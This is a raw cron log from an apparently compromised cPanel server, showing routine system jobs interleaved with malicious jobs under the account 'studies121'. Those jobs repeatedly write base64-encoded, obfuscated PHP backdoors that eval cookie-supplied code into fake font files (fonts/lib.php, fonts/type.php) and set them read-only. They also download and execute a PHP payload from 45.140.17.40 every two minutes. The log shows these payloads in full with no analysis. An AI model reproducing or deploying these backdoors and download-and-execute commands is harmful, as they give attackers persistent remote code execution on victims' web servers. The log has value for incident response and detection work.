Sep  1 23:08:01 ip-184-168-122-23 CROND[6035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:09:01 ip-184-168-122-23 CROND[6127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:09:01 ip-184-168-122-23 CROND[6126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:09:01 ip-184-168-122-23 CROND[6131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:09:01 ip-184-168-122-23 CROND[6135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:09:01 ip-184-168-122-23 CROND[6133]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 23:10:01 ip-184-168-122-23 CROND[6233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:10:01 ip-184-168-122-23 CROND[6235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:10:01 ip-184-168-122-23 CROND[6236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:10:01 ip-184-168-122-23 CROND[6238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:10:01 ip-184-168-122-23 CROND[6243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:10:01 ip-184-168-122-23 CROND[6244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:10:01 ip-184-168-122-23 CROND[6245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:10:01 ip-184-168-122-23 CROND[6247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:11:01 ip-184-168-122-23 CROND[6341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:11:01 ip-184-168-122-23 CROND[6343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:11:01 ip-184-168-122-23 CROND[6344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:11:01 ip-184-168-122-23 CROND[6342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:12:01 ip-184-168-122-23 CROND[6513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:12:01 ip-184-168-122-23 CROND[6515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:12:01 ip-184-168-122-23 CROND[6516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:12:01 ip-184-168-122-23 CROND[6519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:12:01 ip-184-168-122-23 CROND[6517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:13:01 ip-184-168-122-23 CROND[6608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:13:01 ip-184-168-122-23 CROND[6609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:13:01 ip-184-168-122-23 CROND[6611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:13:01 ip-184-168-122-23 CROND[6610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:14:01 ip-184-168-122-23 CROND[6690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:14:01 ip-184-168-122-23 CROND[6692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:14:01 ip-184-168-122-23 CROND[6693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:14:01 ip-184-168-122-23 CROND[6695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:14:01 ip-184-168-122-23 CROND[6694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:15:02 ip-184-168-122-23 CROND[6782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:15:02 ip-184-168-122-23 CROND[6785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:15:02 ip-184-168-122-23 CROND[6786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:15:02 ip-184-168-122-23 CROND[6788]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:15:02 ip-184-168-122-23 CROND[6789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:15:02 ip-184-168-122-23 CROND[6791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:16:02 ip-184-168-122-23 CROND[6886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:16:02 ip-184-168-122-23 CROND[6888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:16:02 ip-184-168-122-23 CROND[6892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:16:02 ip-184-168-122-23 CROND[6889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:16:02 ip-184-168-122-23 CROND[6890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:16:02 ip-184-168-122-23 CROND[6893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:17:01 ip-184-168-122-23 CROND[6995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:17:01 ip-184-168-122-23 CROND[6997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:17:01 ip-184-168-122-23 CROND[6998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:17:01 ip-184-168-122-23 CROND[7000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:18:01 ip-184-168-122-23 CROND[7155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:18:01 ip-184-168-122-23 CROND[7156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:18:01 ip-184-168-122-23 CROND[7159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:18:01 ip-184-168-122-23 CROND[7158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:18:01 ip-184-168-122-23 CROND[7160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:19:01 ip-184-168-122-23 CROND[7244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:19:01 ip-184-168-122-23 CROND[7245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:19:01 ip-184-168-122-23 CROND[7247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:19:01 ip-184-168-122-23 CROND[7248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:20:01 ip-184-168-122-23 CROND[7343]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 23:20:01 ip-184-168-122-23 CROND[7345]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:20:02 ip-184-168-122-23 CROND[7351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:20:02 ip-184-168-122-23 CROND[7348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:20:02 ip-184-168-122-23 CROND[7349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
